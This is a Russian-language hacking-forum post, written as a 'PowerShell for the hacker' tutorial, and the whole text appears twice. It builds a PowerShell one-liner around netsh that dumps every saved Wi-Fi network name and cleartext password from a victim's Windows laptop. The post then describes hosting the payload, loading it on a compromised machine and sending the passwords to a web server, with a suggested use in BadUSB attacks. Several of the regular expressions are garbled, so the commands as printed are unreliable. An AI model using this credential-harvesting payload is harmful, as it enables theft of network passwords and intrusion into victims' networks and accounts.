<~DarkNode~>
05.09.2017, 02:42
https://forum.antichat.xyz/attachments/4783267/img_f8f32a0759.png
Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть ) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"
Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)
И так. Вот что мы освоим в этой статье:
Научимся смотретьинформацию о WiFi подключениях средствами командной строки Windows
Извлекать сохраненные пароли в командной строке Windows
Немного освоим регулярные выражения в PowerShell
С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
Закрепим подгрузку PowerShell через WEB (https://forum.antichat.xyz/threads/558787/)
Закрепим отправку данных на веб-сервер методом Invoke-RestMethod.
И так друзья мои, зачем нам это все? Попытаюсь ответить:
Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa (https://forum.antichat.xyz/members/569885/) )
Ну и для общего развития
И так первое что мы освоим - это справку по команде netsh
https://forum.antichat.xyz/attachments/4783267/2.png
Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi
https://forum.antichat.xyz/attachments/4783267/1.png
Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.
https://forum.antichat.xyz/attachments/4783267/3.png
Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора Select-String:
(netsh wlan show profiles) | Select-String "\.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.
https://forum.antichat.xyz/attachments/4783267/4.png
Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()
https://forum.antichat.xyz/attachments/4783267/6.png
Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}
https://forum.antichat.xyz/attachments/4783267/5.png
Теперь по этому же принципу нужно отобразить пароль от каждой SSID :
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :
Но опять же таки тут много лишнего текста:
https://forum.antichat.xyz/attachments/4783267/7.png
Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$"
https://forum.antichat.xyz/attachments/4783267/8.png
И конечная команда наша будет иметь примерно следующий вид:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
https://forum.antichat.xyz/attachments/4783267/9.png
Ну а далее все по накатанной схеме:
Размещаем к примеру:
https://forum.antichat.xyz/attachments/4783267/12.png
Подгружаем на скомпрометированной машине:
https://forum.antichat.xyz/attachments/4783267/10.png
И ловим пароли от WiFi:
https://forum.antichat.xyz/attachments/4783267/11.png
Всем спасибо за внимание)
Видео немножко поже сделаю.
Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть ) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"
Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)
И так. Вот что мы освоим в этой статье:
Научимся смотретьинформацию о WiFi подключениях средствами командной строки Windows
Извлекать сохраненные пароли в командной строке Windows
Немного освоим регулярные выражения в PowerShell
С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
Закрепим подгрузку PowerShell через WEB (https://forum.antichat.xyz/threads/558787/)
Закрепим отправку данных на веб-сервер методом Invoke-RestMethod.
И так друзья мои, зачем нам это все? Попытаюсь ответить:
Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa (https://forum.antichat.xyz/members/569885/) )
Ну и для общего развития
И так первое что мы освоим - это справку по команде netsh
https://forum.antichat.xyz/attachments/4783267/2.png
Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi
https://forum.antichat.xyz/attachments/4783267/1.png
Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.
https://forum.antichat.xyz/attachments/4783267/3.png
Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора Select-String:
(netsh wlan show profiles) | Select-String "\.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.
https://forum.antichat.xyz/attachments/4783267/4.png
Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()
https://forum.antichat.xyz/attachments/4783267/6.png
Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}
https://forum.antichat.xyz/attachments/4783267/5.png
Теперь по этому же принципу нужно отобразить пароль от каждой SSID :
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :
Но опять же таки тут много лишнего текста:
https://forum.antichat.xyz/attachments/4783267/7.png
Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$"
https://forum.antichat.xyz/attachments/4783267/8.png
И конечная команда наша будет иметь примерно следующий вид:
(netsh wlan show profiles) | Select-String "\.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
https://forum.antichat.xyz/attachments/4783267/9.png
Ну а далее все по накатанной схеме:
Размещаем к примеру:
https://forum.antichat.xyz/attachments/4783267/12.png
Подгружаем на скомпрометированной машине:
https://forum.antichat.xyz/attachments/4783267/10.png
И ловим пароли от WiFi:
https://forum.antichat.xyz/attachments/4783267/11.png
Всем спасибо за внимание)
Видео немножко поже сделаю.